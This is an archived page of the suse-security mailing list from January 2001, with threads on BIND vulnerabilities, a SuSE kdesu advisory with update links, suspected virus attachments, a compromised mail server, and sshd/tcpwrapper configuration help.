>>That's real useful for end users :P. Wietse (postfix guy) was smart, 100% >>compatible sendmail replacement, both in functionality and license. Qmail is >>NOT. Neither is djbdns a drop in replacement for Bind. Hence only a minor >>percentage of people will make the effort to use it. > >Why is "drop-in-replacement"==GOOD and "no drop-in-replacement"==BAD? >I don't agree there. It's not that the programs are hard to install or >something. On the contrary, IMHO. Sendmail, ok, cleaned up a lot in the last two years, BUT if there is a hack it's usually root, for example the kernel capabilities bug. To get users to switch to a more secure mailer you have a few realistic options: make it the default - Mandrake now does this with Postfix. They do not ship Qmail. Vince (mandrake security packager goombah guy who writes their advisories and whatnot, who I drink with sometimes) tried valiantly to legally package qmail and ship it and gave up. Buy him a drink sometime and ask him about it if you want to hear a painful story. if it's hard to do people will not switch to it. Hell people won't even patch software or apply vendor security updates in a lot of cases, so what are the chances of them switching from say sendmail to qmail, if it requires a lot of effort? This is why compatibility (function wise, license wise, etc.) is so important. >Again, I don't agree. There are boatloads of enhancements and >modifications for qmail (and less so for djbdns, but that doesn't >exist as long). If you want a specific feature that isn't in standard >qmail/djbdns, there most probably is a patch that you can apply in >seconds. Again, very easy. Ohh, so if I go out of my way to fix qmail, it can do function X, whereas that is standard in Postfix for example (and then there are things postfix does that qmail can't, even with available patches, like regex filtering). That's like saying "Windows isn't insecure, if you get these security products and apply them it's secure". No, Qmail, as it ships from DJB, is a pain in the ass :P. I've tried to move to it several times (long ago), and tested it more recently, and I've never liked the results (and I get paid to spend my time on things like this). -Kurt

3 2

Firewall + Dial-in
by Mark Robinson 30 Jan '01

30 Jan '01

Hi all, I have a slight problem with the SuSE Firewall package. I have set up a server that has ippp0 as the internet i/f, and eth0 as the lan. Everything works fine with the setup. But (there's always a but) I have now added a modem to the box to allow remote user/admin. I've used mgetty and pppd to successfully set up the dial-in, and everything works ok to get connected. The problems are as follows: Once connected to the dial-in modem I can access mail (smtp and pop3) on the server. Samba lets me log in and maps drives as expected, and I can browse the internet. However I cannot ssh to the server, VNC won't connect and I can't ping any box on eth0. If I stop the firewall everything starts working! I can't work out why the firewall should have this effect. Please help before I lose all my hair :-) Mark

1 0

bind8
by Roman Drahtmueller 30 Jan '01

30 Jan '01

Hi, just a short heads-up: The bind8 packages for the distributions 6.1-7.1 are being built as I write this email. The packages should be available two or three hours. Roman. -- - - | Roman Drahtmüller <draht(a)suse.de> // "Caution: Cape does | SuSE GmbH - Security Phone: // not enable user to fly." | Nürnberg, Germany +49-911-740530 // (Batman Costume warning label) | - -

1 0

SuSE Security Announcement: kdesu
by Sebastian Krahmer 30 Jan '01

30 Jan '01

-----BEGIN PGP SIGNED MESSAGE----- ______________________________________________________________________________ SuSE Security Announcement Package: kdesu Announcement-ID: SuSE-SA:2001:02 Date: Affected SuSE versions: 6.0, 6.1, 6.2, 6.3, 6.4, 7.0 Vulnerability Type: local root compromise Severity (1-10): 3 SuSE default package: yes Other affected systems: All KDE 1 & KDE 2 systems Content of this advisory: 1) security vulnerability resolved: kdesu problem description, discussion, solution and upgrade information 2) pending vulnerabilities, solutions, workarounds 3) standard appendix (further information) ______________________________________________________________________________ 1) problem description, brief discussion, solution, upgrade information kdesu is a KDE frontend for su(1). When invoked it prompts for the root password and runs su(1). kdesu itself does not run setuid/setgid. However when enabling the 'keep password' option it tries to send the password across process boundaries to kdesud via a UNIX socket. During this it does not verify the identity of the listener on the other end. This allows attackers to obtain the root password. This bug has been fixed in the update packages by checking the ownership of the socket on the listener side. Download the update package from locations desribed below and install the package with the command `rpm -Uhv file.rpm'. The md5sum for each file is in the line below. You can verify the integrity of the rpm files using the command `rpm --checksig --nogpg file.rpm', independently from the md5 signatures below. i386 Intel Platform: SuSE-6.1: ftp://ftp.suse.com/pub/suse/i386/update/6.1/kpa1/kdesu-0.98-187.i386.rpm 3d51f84f2dc87916bc937f3afe507c1a SuSE-6.1: ftp://ftp.suse.com/pub/suse/i386/update/6.1/kpa1/kdesu.rpm 3d51f84f2dc87916bc937f3afe507c1a source rpm: ftp://ftp.suse.com/pub/suse/i386/update/6.1/zq1/kdesu-0.98-187.src.rpm f8764afd475fa7a41c18603d15ce48ab SuSE-6.2: ftp://ftp.suse.com/pub/suse/i386/update/6.2/kpa1/kdesu-0.98-187.i386.rpm 027617e19c957b1ed5f42f140b62521b SuSE-6.2: ftp://ftp.suse.com/pub/suse/i386/update/6.2/kpa1/kdesu.rpm 027617e19c957b1ed5f42f140b62521b source rpm: ftp://ftp.suse.com/pub/suse/i386/update/6.2/zq1/kdesu-0.98-187.src.rpm 9cf3d4b0c00db4598968dd5c7e07eef7 SuSE-6.3: ftp://ftp.suse.com/pub/suse/i386/update/6.3/kpa1/kdesu-0.98-187.i386.rpm d2b6c6f3330a20c2eb7d5500de2f9df6 SuSE-6.3: ftp://ftp.suse.com/pub/suse/i386/update/6.3/kpa1/kdesu.rpm d2b6c6f3330a20c2eb7d5500de2f9df6 source rpm: ftp://ftp.suse.com/pub/suse/i386/update/6.3/zq1/kdesu-0.98-187.src.rpm a50cc8ba1a793f9151559454fdad0a14 SuSE-6.4: ftp://ftp.suse.com/pub/suse/i386/update/6.4/kpa1/kdesu-0.98-187.i386.rpm 8f06dd49bdc00dca25eff33a3754ddee SuSE-6.4: ftp://ftp.suse.com/pub/suse/i386/update/6.4/kpa1/kdesu.rpm 8f06dd49bdc00dca25eff33a3754ddee source rpm: ftp://ftp.suse.com/pub/suse/i386/update/6.4/zq1/kdesu-0.98-187.src.rpm 0ca2d30cf51d1307f88581d4e240bbf0 SuSE-7.0: ftp://ftp.suse.com/pub/suse/i386/update/7.0/kpa1/kdesu-0.98-187.i386.rpm c7238ea5775939239b3857b550ca9f1b SuSE-7.0: ftp://ftp.suse.com/pub/suse/i386/update/7.0/kpa1/kdesu.rpm c7238ea5775939239b3857b550ca9f1b source rpm: ftp://ftp.suse.com/pub/suse/i386/update/7.0/zq1/kdesu-0.98-187.src.rpm bc74c75ba0b514f7df4f0250ccc7454a Sparc Platform: AXP Alpha Platform: SuSE-6.1: ftp://ftp.suse.com/pub/suse/axp/update/6.1/kpa1/kdesu-0.98-187.alpha.rpm 8017cd7fed463cae4bef3fa471e7e1d8 SuSE-6.1: ftp://ftp.suse.com/pub/suse/axp/update/6.1/kpa1/kdesu.rpm 8017cd7fed463cae4bef3fa471e7e1d8 source rpm: ftp://ftp.suse.com/pub/suse/axp/update/6.1/zq1/kdesu-0.98-187.src.rpm 78846e4ae3f50e9264e8840da1a628a8 SuSE-6.3: ftp://ftp.suse.com/pub/suse/axp/update/6.3/kpa1/kdesu-0.98-187.alpha.rpm cf1629ba236c0c84e0f2b33101b5f1aa SuSE-6.3: ftp://ftp.suse.com/pub/suse/axp/update/6.3/kpa1/kdesu.rpm cf1629ba236c0c84e0f2b33101b5f1aa source rpm: ftp://ftp.suse.com/pub/suse/axp/update/6.3/zq1/kdesu-0.98-187.src.rpm da851ebaee36cb91cb1e1fca0c8bfda2 SuSE-6.4: ftp://ftp.suse.com/pub/suse/axp/update/6.4/kpa1/kdesu-0.98-187.alpha.rpm d1904cc9db320ea2c576b73633ee6bd5 SuSE-6.4: ftp://ftp.suse.com/pub/suse/axp/update/6.4/kpa1/kdesu.rpm d1904cc9db320ea2c576b73633ee6bd5 source rpm: ftp://ftp.suse.com/pub/suse/axp/update/6.4/zq1/kdesu-0.98-187.src.rpm 27261cf8ff0ea66a597520260b832f7d SuSE-7.0: ftp://ftp.suse.com/pub/suse/axp/update/7.0/kpa1/kdesu-0.98-187.alpha.rpm be3b258eeeb3c56351b93ec8a32826db SuSE-7.0: ftp://ftp.suse.com/pub/suse/axp/update/7.0/kpa1/kdesu.rpm be3b258eeeb3c56351b93ec8a32826db source rpm: ftp://ftp.suse.com/pub/suse/axp/update/7.0/zq1/kdesu-0.98-187.src.rpm b7e3139377784c5cbbc4f14a5061d124 PPC Power PC Platform: SuSE-6.4: ftp://ftp.suse.com/pub/suse/ppc/update/6.4/kpa1/kdesu-0.98-187.ppc.rpm 705afa4defc64c48f89dd94b2d52c296 SuSE-6.4: ftp://ftp.suse.com/pub/suse/ppc/update/6.4/kpa1/kdesu.rpm 705afa4defc64c48f89dd94b2d52c296 source rpm: ftp://ftp.suse.com/pub/suse/ppc/update/6.4/zq1/kdesu-0.98-187.src.rpm 32e626fa7e8206d6803957c77062185b SuSE-7.0: ftp://ftp.suse.com/pub/suse/ppc/update/7.0/kpa1/kdesu-0.98-187.ppc.rpm e9b4a8a26844af0bc8cb37c8d2d26530 SuSE-7.0: ftp://ftp.suse.com/pub/suse/ppc/update/7.0/kpa1/kdesu.rpm e9b4a8a26844af0bc8cb37c8d2d26530 source rpm: ftp://ftp.suse.com/pub/suse/ppc/update/7.0/zq1/kdesu-0.98-187.src.rpm aaa092ffafe149ef8ba3acf570966e09 ______________________________________________________________________________ 2) Pending vulnerabilities in SuSE Distributions and Workarounds: - Kmail remote code execution. This issue will be adressed in following advisories. - pgp4pine bufferoverflow. Very unlikely to be exploited, but next advisories will contain information on this as well as URL's for patches. ______________________________________________________________________________ 3) standard appendix: SuSE runs two security mailing lists to which any interested party may subscribe: suse-security(a)suse.com - general/linux/SuSE security discussion. All SuSE security announcements are sent to this list. To subscribe, send an email to <suse-security-subscribe(a)suse.com>. suse-security-announce(a)suse.com - SuSE's announce-only mailing list. Only SuSE's security annoucements are sent to this list. To subscribe, send an email to <suse-security-announce-subscribe(a)suse.com>. For general information or the frequently asked questions (faq) send mail to: <suse-security-info(a)suse.com> or <suse-security-faq(a)suse.com> respectively. =============================================== SuSE's security contact is <security(a)suse.com>. =============================================== Regards, Sebastian Krahmer ______________________________________________________________________________ The information in this advisory may be distributed or reproduced, provided that the advisory is not modified in any way. SuSE GmbH makes no warranties of any kind whatsoever with respect to the information contained in this security advisory. Type Bits/KeyID Date User ID pub 2048/3D25D3D9 1999/03/06 SuSE Security Team <security(a)suse.de> - -----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.6.3i mQENAzbhLQQAAAEIAKAkXHe0lWRBXLpn38hMHy03F0I4Sszmoc8aaKJrhfhyMlOA BqvklPLE2f9UrI4Xc860gH79ZREwAgPt0pi6+SleNFLNcNFAuuHMLQOOsaMFatbz JR9i4m/lf6q929YROu5zB48rBAlcfTm+IBbijaEdnqpwGib45wE/Cfy6FAttBHQh 1Kp+r/jPbf1mYAvljUfHKuvbg8t2EIQz/5yGp+n5trn9pElfQO2cRBq8LFpf1l+U P7EKjFmlOq+Gs/fF98/dP3DfniSd78LQPq5vp8RL8nr/o2i7jkAQ33m4f1wOBWd+ cZovrKXYlXiR+Bf7m2hpZo+/sAzhd7LmAD0l09kABRG0JVN1U0UgU2VjdXJpdHkg VGVhbSA8c2VjdXJpdHlAc3VzZS5kZT6JARUDBRA24S1H5Fiyh7HKPEUBAVcOB/9b yHYji1/+4Xc2GhvXK0FSJN0MGgeXgW47yxDL7gmR4mNgjlIOUHZj0PEpVjWepOJ7 tQS3L9oP6cpj1Fj/XxuLbkp5VCQ61hpt54coQAvYrnT9rtWEGN+xmwejT1WmYmDJ xG+EGBXKr+XP69oIUl1E2JO3rXeklulgjqRKos4cdXKgyjWZ7CP9V9daRXDtje63 Om8gwSdU/nCvhdRIWp/Vwbf7Ia8iZr9OJ5YuQl0DBG4qmGDDrvImgPAFkYFzwlqo choXFQ9y0YVCV41DnR+GYhwl2qBd81T8aXhihEGPIgaw3g8gd8B5o6mPVgl+nJqI BkEYGBusiag2pS6qwznZiQEVAwUQNuEtBHey5gA9JdPZAQFtOAf+KVh939b0J94u v/kpg4xs1LthlhquhbHcKNoVTNspugiC3qMPyvSX4XcBr2PC0cVkS4Z9PY9iCfT+ x9WM96g39dAF+le2CCx7XISk9XXJ4ApEy5g4AuK7NYgAJd39PPbERgWnxjxir9g0 Ix30dS30bW39D+3NPU5Ho9TD/B7UDFvYT5AWHl3MGwo3a1RhTs6sfgL7yQ3U+mvq MkTExZb5mfN1FeaYKMopoI4VpzNVeGxQWIz67VjJHVyUlF20ekOz4kWVgsxkc8G2 saqZd6yv2EwqYTi8BDAduweP33KrQc4KDDommQNDOXxaKOeCoESIdM4p7Esdjq1o L0oixF12Cg== =pIeS - -----END PGP PUBLIC KEY BLOCK----- -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: noconv iQEVAwUBOnLxI3ey5gA9JdPZAQGh/Qf+MoBq8Ys7ANMtnSg9mKVLxA7HXSM5DPVP lM4zFFJwyU8b/DBNfEHYPwDwNeAxeHtjMbpYbWt2zos2dVsz9caFOZznBRjM9hlF AhGMzXjTus+qfVoothlsMfVGvV3xOqbbIjdiUZChiULe8/Bm+YDmD2y9fkquxD+Z dmoY9yOaQ2bSjT8a1Gyin04Jew/uFyAroNmaAn1XDPGqXPq9EIXJz8gWigqDLwe+ Qfcizp9picMLnfEipGtCARP2/my53hp+2JwGy78E+lf7EZrhq0wlJ5nELQUdvYyA Y6aOEVq349q6Q5QeMF9ABfpyKPbmUXwkzzXTtMwdmYKoKtu6cUEThQ== =YAhD -----END PGP SIGNATURE-----

1 0

Fw: [COVERT-2001-01] Multiple Vulnerabilities in BIND
by Kurt Seifried 30 Jan '01

30 Jan '01

Someone mentioned suse shipped 8.2.3-T5 >From the advisory: > o Vulnerable Systems > > BIND 8 versions: 8.2, 8.2.1 > 8.2.2 through to 8.2.2-P7 > 8.2.3-T1A through to 8.2.3-T9B > > BIND 4 versions: buffer overflow - 4.9.5 through to 4.9.7 > format string - 4.9.3 through to 4.9.5-P1 As for suse being a bit slow they aren't as bad as some, not as good as other, but do tend to get it right more often the first time then quite a few. Also I believe they are gearing up for a new release. -Kurt - who spent the morning upgrading servers to 8.2.3. wheeep.

3 2

Re: [suse-security] CERT Advisory CA-2001-02 Multiple Vulnerabilities in BIND (fwd)
by Kurt Seifried 30 Jan '01

30 Jan '01

>>DNSSEC. > >Vapour. Doesn't exist at this time. (for use on the Internet) >Will be implemented in djbdns when the infrastructure to support it is >set up. That's odd... since .mil is rolling it out, and I know other people using it. >>Plus DJB's license sucks ass, it's almost impossible for vendors to ship his >>software, and for developers to work on it, > >This is something I can understand. For distributors, it *is* nearly >impossible to ship, and modifying and redistributing isn't allowed. >Distributing patches however, is. >This means you'll (as a sysadmin) will have to download and install >djb-ware yourself. I don't have a problem with that, personally. That's real useful for end users :P. Wietse (postfix guy) was smart, 100% compatible sendmail replacement, both in functionality and license. Qmail is NOT. Neither is djbdns a drop in replacement for Bind. Hence only a minor percentage of people will make the effort to use it. >qmail might indeed be getting a bit old, but there are many >improvements available. (but I thought we were discussing BIND here >:-) ) The same thing will happen to djbdns ultimatwly, since the only person that really does any work on DJB's software is DJB. -Kurt

4 3

Ramen Virus
by Paul Carruthers 30 Jan '01

30 Jan '01

has anyone heard anything about this ? What should I watch out for ? Paul Carruthers Systems Administrator Avellino Technologies Voice +44 (0) 118 940 7600 Fax +44 (0) 118 940 7699 Http://www.avellino.com/

3 2

Re: [suse-security] CERT Advisory CA-2001-02 Multiple Vulnerabilities in BIND (fwd)
by Oliver Teuber 29 Jan '01

29 Jan '01

hello i have created bind 8.2.3 rpms for 6.4 ... seems to work fine on our server ... use it on your own risk. http://www.teuber.com/bind/ cu, oliver On Mon, Jan 29, 2001 at 04:16:53PM +0100, Stefan Suurmeijer wrote: > Hi all, > > I haven't seen this on SuSE yet, so I thought I'd forward it. It seems > almost every nameserver we have running is vulnerable. See: > > http://www.cert.org/advisories/CA-2001-02.html > > have fun upgrading :-( > > Stefan > >

1 0

Re: [suse-security] CERT Advisory CA-2001-02 Multiple Vulnerabilities in BIND (fwd)
by Franco Galian 29 Jan '01

29 Jan '01

just thinking the same as you ;-) tinydns works just fine and it doesn't have those problems.../// > ----- Original Message ----- > From: "Jurjen Oskam" <jurjen(a)quadpro.stupendous.org> > To: "Stefan Suurmeijer" <stefan(a)symbolica.nl> > Cc: "Suse-security list" <suse-security(a)suse.com> > Sent: Monday, January 29, 2001 2:55 PM > Subject: Re: [suse-security] CERT Advisory CA-2001-02 Multiple > Vulnerabilities in BIND (fwd) > > > On Mon, 29 Jan 2001 16:16:53 +0100 (CET), Stefan Suurmeijer > <stefan(a)symbolica.nl> wrote: > > >I haven't seen this on SuSE yet, so I thought I'd forward it. It seems > >almost every nameserver we have running is vulnerable. See: > > > >http://www.cert.org/advisories/CA-2001-02.html > > > >have fun upgrading :-( > > You might want to take a look at http://cr.yp.to/djbdns.html . > > > end > -- > Jurjen Oskam * carnivore! * http://www.stupendous.org/ for PGP key > assassinate nuclear iraq clinton kill bomb USA eta ira cia fbi nsa kill > president wall street ruin economy disrupt phonenetwork atomic bomb sarin > nerve gas bin laden military -*- DVD Decryption at www.stupendous.org -*- > > --------------------------------------------------------------------- > To unsubscribe, e-mail: suse-security-unsubscribe(a)suse.com > For additional commands, e-mail: suse-security-help(a)suse.com > > >

1 0

Re: [suse-security] Mysterious Mail with uknown Attachment
by AndriusD＠labas.com 29 Jan '01

29 Jan '01

once received, the similar e-mail attachement was detected by antivirus program as "hybris" virus you can find more info on this at: http://www.europe.f-secure.com/v-descs/hybris.shtml "...The worm can also send itself with a random, 8-letter name, for example UKSJHHKW.EXE. " "...Hybris is an Internet worm that spreads itself as an attachment to email messages. The worm works under Win32 systems only. The worm contains components (plugins) in its code that are executed depending on what worm needs, and these components can be upgraded from an Internet Web site. The major worm versions are encrypted with semi-polymorphic encryption loop. " regards, ------------------ andriusd(a)labas.com Max Lindner <ml(a)lofl.de> To: <suse-security(a)suse.com> cc: 2001.01.28 Subject: [suse-security] Mysterious Mail with 14:25 uknown Attachment Please respond to Max Lindner Hi! I got a mail with the following header: >From MAILER-DAEMON Sat Jan 27 17:17:40 2001 Return-Path: <> Delivered-To: mlindner(a)agentur-lindner.de Received: from webserver.hlg-fuerth.de (unknown [212.204.100.206]) by www1.agentur-lindner.de (Postfix) with ESMTP id 19EDA111E84 for <ml(a)agentur-lindner.de>; Sat, 27 Jan 2001 17:17:35 +0100 (CET) Received: by webserver.hlg-fuerth.de (Postfix) id 9EC366695B; Sat, 27 Jan 2001 17:18:42 +0100 (CET) Delivered-To: webmaster(a)hlg-fuerth.de Received: from mout02.kundenserver.de (mout02.kundenserver.de [195.20.224.133]) by webserver.hlg-fuerth.de (Postfix) with ESMTP id 57F7766959 for <webmaster(a)hlg-fuerth.de>; Sat, 27 Jan 2001 17:18:36 +0100 (CET) Received: from [195.20.224.151] (helo=mrelay01.kundenserver.de) by mout02.kundenserver.de with esmtp (Exim 2.12 #2) id 14MY2y-0003ix-00 for webmaster(a)hlg-fuerth.de; Sat, 27 Jan 2001 17:17:52 +0100 Received: from p3ee386f8.dip0.t-ipconnect.de ([62.227.134.248] helo=ayla) by mrelay01.kundenserver.de with smtp (Exim 2.12 #2) id 14MY2c-0001ga-00 for webmaster(a)hlg-fuerth.de; Sat, 27 Jan 2001 17:17:30 +0100 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--VE96FW1QV0X2J49MBGHIF0T" Message-Id: <E14MY2c-0001ga-00(a)mrelay01.kundenserver.de> From: Remote Mail Delivery System <> Date: Sat, 27 Jan 2001 17:17:30 +0100 Status: RO X-Status: X-Keywords: X-UID: 737 There was no message in it and has had a quite strong attachment named: 'PKCBLMPK.EXE' Is this malware? Anyone knows this file? I didn't execute it yet... Is it possible that relay01.kundenserver.de is an open relay? Thanks for help and suggestions... Max --------------------------------------------------------------------- To unsubscribe, e-mail: suse-security-unsubscribe(a)suse.com For additional commands, e-mail: suse-security-help(a)suse.com

1 0

Message frozen
by Carlos Manuel Duclos Vergara 29 Jan '01

29 Jan '01

Hi, seeing the last talk about weird mails i remember this, do you think that this maybe a misconfigured mail server or is some kind of attack ? bye ---------- Forwarded Message ---------- Subject: Message frozen Date: Sun, 28 Jan 2001 23:25:52 -0300 From: Mail Delivery System <Mailer-Daemon(a)embedded.cl> To: postmaster(a)embedded.cl Message 14N40q-00047m-00 has been frozen (delivery error message). The sender is <>. The following address(es) have yet to be delivered: aulap1(a)ee.cl: unknown local-part "aulap1" in domain "ee.cl" ------------------------------------------------------- -- Carlos Manuel Duclos Vergara carlos(a)embedded.cl http://www.embedded.cl/~carlos

1 0

Re: [suse-security] Re: Getting weird FETCHMAIL-DAEMON messages...
by Nix 29 Jan '01

29 Jan '01

At 12:40 PM 29/01/2001, you wrote: >Dear All > > > > Here is the contents of that e-mail: > > > > From: FETCHMAIL-DAEMON(a)josswinn.org > > To: matthew(a)psychohorse.com > > Date: Mon, 29 Jan 2001 07:04:08 +0900 > >I've been getting these for a few days. Not sure where from ? > >On Thursday night at midnight my net facing box was broken into and >someone replaced sendmail.cf with another one. What this meant was >that when my box downloaded mail it then forwarded ti to many people >on the internet. I discovered this and replaced sendmail.cf before >any damage was done. > >Tonight I was about to reply to this e-mail at about midnight and >someone broke in and destroyed my Pine 4.32 mail app. That meant that >I couldn't send this mail either. > >So, what's going on ? I don't know either. Mate, Unplug the box from the net. If it has been broken into you don't know what has been compromised Please email me back privately if you need help. I will be contactable for the next 8hrs or so by email. (I am ducking out to grab some lunch now, but will be back in 20min..) Cheers --- Nix - nix(a)susesecurity.com http://www.susesecurity.com

4 7

Re: Getting weird FETCHMAIL-DAEMON messages...
by Richard 29 Jan '01

29 Jan '01

Dear All > Here is the contents of that e-mail: > > From: FETCHMAIL-DAEMON(a)josswinn.org > To: matthew(a)psychohorse.com > Date: Mon, 29 Jan 2001 07:04:08 +0900 I got a load of these after my own net facing box was attacked at midnight on Thursday night. I'm still getting some of them now. Bit difficult to do it on a dialup box which is only connected for a few minutes. But, someone did just that. Myself and a friend couldn't work out what the purpose of the attack was. We re-installed sendmail.cf and that sorted out the problem. As far as we could see someone was using my box to forward mail. That is very difficult on a dialup box. Specially when I sit in front of it and watch /var/log/messages all the time. So, whoever did it didn't seem to know too much at all. Tonight as I was about to reply to this mail someone broke in again and destroyed sendmail.cf on another machine. So, whoever he or she is they have a thing about sendmail.cf files on SuSE home user's machines. Thanks Richard

1 0

Getting weird FETCHMAIL-DAEMON messages...
by Matthew 29 Jan '01

29 Jan '01

Here is the contents of that e-mail: From: FETCHMAIL-DAEMON(a)josswinn.org To: matthew(a)psychohorse.com Date: Mon, 29 Jan 2001 07:04:08 +0900 Some addresses were rejected by the MDA fetchmail forwards to. Attachment: 1 Attachment: 2 I have opened up attachment 1 and this is the contents: From: To: Date: Final-Recipient: rfc822; josswinn Last-Attempt-Date: Mon, 29 Jan 2001 07:04:08 +0900 (JST) Action: failed Status: j.0.0 Diagnostic-Code: josswinn: 550 5.1.1 <josswinn@localhost>... User unknown I have not opened attachment 2 as it comes with an icon that is a big black T and I get warning that opening it might compromise system security. Its happened 5 times now, all from josswin.org. Is this a cracker attempt, or most likely his fetchmail daemon is not working? I have looked under www.josswinn.org and he has a web page (Flash heavily enabled). There is nothing in my log files.....Maybe this poor guy has been attacked himself? How should I proceed? Many thanks, Matt

2 1

openssh && hardensuse problem
by Br�ulio Gergull 28 Jan '01

28 Jan '01

Hi, I'm using SuSE 7.0 Professional to build a firewall. I've installed the necessary packages, upgraded to latest release and after running "harden_suse yes" opensshd just refuses to accept connections, the following message appears on the logs: Jan 27 15:53:32 maestro sshd[887]: refused connect from 192.168.0.100 (192.168.0.100) sshd is running, of course. Last week the same problem occurred on another machine and it was "solved" (?) uninstalling openssh-2.3.0p1-0 and installing openssh-2.1.1p1-43 (vulnerable) :( Versions: SuSE 7.0 openssh-2.3.0p1-0 hardensuse-2.6-1 rgrds, Bráulio Gergull

2 2

Re: [suse-security]about: was Fwd: Do I have a virus on my MBR?
by Aaron Matas 28 Jan '01

28 Jan '01

About is an internal browser command. You can check the source code for Mozilla. Netscape has some information also. Different browsers or versions of browsers give different results. The Willis message is probably in a Netscape .dll file as are the logo's. about:document shows information about current document - same as edit/view info about:cache about:memory-cache about:image-cache can use this to find images in cache about:security about:authors removed in some browser versions about:fonts about:logo WARNING: about:xxxLOGO may cause multiple about:rsalogo windows to open depending on your browers, about:javalogo if so keep hitting the Esc key till it stops about:license about:editfilenew title about:mozilla or about:moz ..got curious one day and started looking :>) Aaron Matas IBM xSeries Performance Analyst Phone: 919-254-2508 LAB: 919-486-0306 Fax: 919-254-9267 LAB-Fax: 919-547-0083 juergen.braukmann@ruhr-west.de@ruhr-west.de on 01/27/2001 11:44:24 AM To: ghamblin(a)btinternet.com cc: suse-security(a)suse.com Subject: Re: [suse-security] Fwd: Do I have a virus on my MBR? Graham Hamblin wrote: > > Hi > This is a copy of a message I have sent to Support at S.u.S.E. and put on here > for the information of all. Hope it is of help. > > I am using S.u.S.E. 7.0 Professional on a PC at home with a modem connection to > the internet. If I invoke security in Netscape whatever is showing in the > window and invoke Open Page Information there are two windows. In the top one > is the page information but in the bottom one is the following text, "Whatchew > talkin' 'bout, Willis?" and try as I may I cannot find it or get rid of it. > ... First don't Panic. Try to type something like "about:lxdkrjgklxdgjghklxd" in the address field and watch the browser window. Juergen -- =========================================== __ _ Juergen Braukmann juergen.braukmann(a)gmx.de| -o)/ / (_)__ __ ____ __ Tel: 0201-743648 dk4jb(a)db0qs.#nrw.deu.eu | /\\ /__/ / _ \/ // /\ \/ / ===========================================_\_v __/_/_//_/\_,_/ /_/\_\ --------------------------------------------------------------------- To unsubscribe, e-mail: suse-security-unsubscribe(a)suse.com For additional commands, e-mail: suse-security-help(a)suse.com

2 1

Mysterious Mail with uknown Attachment
by Max Lindner 28 Jan '01

28 Jan '01

Hi! I got a mail with the following header: >From MAILER-DAEMON Sat Jan 27 17:17:40 2001 Return-Path: <> Delivered-To: mlindner(a)agentur-lindner.de Received: from webserver.hlg-fuerth.de (unknown [212.204.100.206]) by www1.agentur-lindner.de (Postfix) with ESMTP id 19EDA111E84 for <ml(a)agentur-lindner.de>; Sat, 27 Jan 2001 17:17:35 +0100 (CET) Received: by webserver.hlg-fuerth.de (Postfix) id 9EC366695B; Sat, 27 Jan 2001 17:18:42 +0100 (CET) Delivered-To: webmaster(a)hlg-fuerth.de Received: from mout02.kundenserver.de (mout02.kundenserver.de [195.20.224.133]) by webserver.hlg-fuerth.de (Postfix) with ESMTP id 57F7766959 for <webmaster(a)hlg-fuerth.de>; Sat, 27 Jan 2001 17:18:36 +0100 (CET) Received: from [195.20.224.151] (helo=mrelay01.kundenserver.de) by mout02.kundenserver.de with esmtp (Exim 2.12 #2) id 14MY2y-0003ix-00 for webmaster(a)hlg-fuerth.de; Sat, 27 Jan 2001 17:17:52 +0100 Received: from p3ee386f8.dip0.t-ipconnect.de ([62.227.134.248] helo=ayla) by mrelay01.kundenserver.de with smtp (Exim 2.12 #2) id 14MY2c-0001ga-00 for webmaster(a)hlg-fuerth.de; Sat, 27 Jan 2001 17:17:30 +0100 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--VE96FW1QV0X2J49MBGHIF0T" Message-Id: <E14MY2c-0001ga-00(a)mrelay01.kundenserver.de> From: Remote Mail Delivery System <> Date: Sat, 27 Jan 2001 17:17:30 +0100 Status: RO X-Status: X-Keywords: X-UID: 737 There was no message in it and has had a quite strong attachment named: 'PKCBLMPK.EXE' Is this malware? Anyone knows this file? I didn't execute it yet... Is it possible that relay01.kundenserver.de is an open relay? Thanks for help and suggestions... Max

3 2

Re: [suse-security] openssh && hardensuse problem
by Armin Schöch 28 Jan '01

28 Jan '01

> I'm using SuSE 7.0 Professional to build a firewall. I've installed the > necessary packages, upgraded to latest release and after running > "harden_suse yes" opensshd just refuses to accept connections, the > following message appears on the logs: > > Jan 27 15:53:32 maestro sshd[887]: refused connect from 192.168.0.100 > (192.168.0.100) Hello Bràulio ! The point with the updated ssh package is, that it is now linked against the tcpwrapper library. This means you have to allow the ssh connection explicitely in /etc/hosts.allow It should work if you put in a line like sshd: 192.168.0.100 There is also an option AllowHosts in /etc/sshd_conf. Look up the syntax with "man sshd". Good luck ! Armin ------------------------------------------------------------------------ Armin Schöch at the office: Institut für Atmosphärenphysik Ziolkowskistr. 10 / 63 Schlossstraße 6 D-18059 Rostock D-18225 Kühlungsborn Tel. +49-(0)381-4005781 Tel. +49-(0)38293-68-102

1 0

Fwd: Do I have a virus on my MBR?
by Graham Hamblin 27 Jan '01

27 Jan '01

Hi This is a copy of a message I have sent to Support at S.u.S.E. and put on here for the information of all. Hope it is of help. I am using S.u.S.E. 7.0 Professional on a PC at home with a modem connection to the internet. If I invoke security in Netscape whatever is showing in the window and invoke Open Page Information there are two windows. In the top one is the page information but in the bottom one is the following text, "Whatchew talkin' 'bout, Willis?" and try as I may I cannot find it or get rid of it. I have re installed over 20 times, used lilo -u and fdisk /MBR in dos, reset my bios to its defaults and even installed Netscape 4.76 but all to no avail.. If I boot and instal direct from the CD without rebooting and initialise Netscape the text is there. I am sorry I only know a little German. Antivir when executed without arguement on a new installation returns "Verzeichnisse 1" so I suspect I have a virus on my master boot sector and I have no idea how to deal with it effectively. I really have been at this problem for nearly three weeks and am absolutely at my wits end and will be absolutely delighted if you can help me. This is only the second time I have asked for help, Roman was kind enough to put me right on the last occasion. Thanking you in anticipation. Graham Hamblin. -- ghamblin(a)btinternet.com S.u.S.E. Linux 7.0 ================== ------------------------------------------------------- -- ghamblin(a)btinternet.com S.u.S.E. Linux 7.0 ==================

5 5

Port 81 - what is it and who uses it?
by suse＠diplan.de 27 Jan '01

27 Jan '01

Hi. Simple question: I wonder what port 81 is for and what service on my DMZ is trying to connect to it. I looked into several firewall books but the problem is they don't have a port number index. Of course I can read from /etc/services: hosts2-ns 81/tcp # HOSTS2 Name Server hosts2-ns 81/udp # HOSTS2 Name Server So what is HOSTS2 and to avoid future simple questions like this one, where can I look for a reference? thanks in advance, Rainer

3 2

Re: Re: man package / SuSe format string vulnerabilities
by bacano 26 Jan '01

26 Jan '01

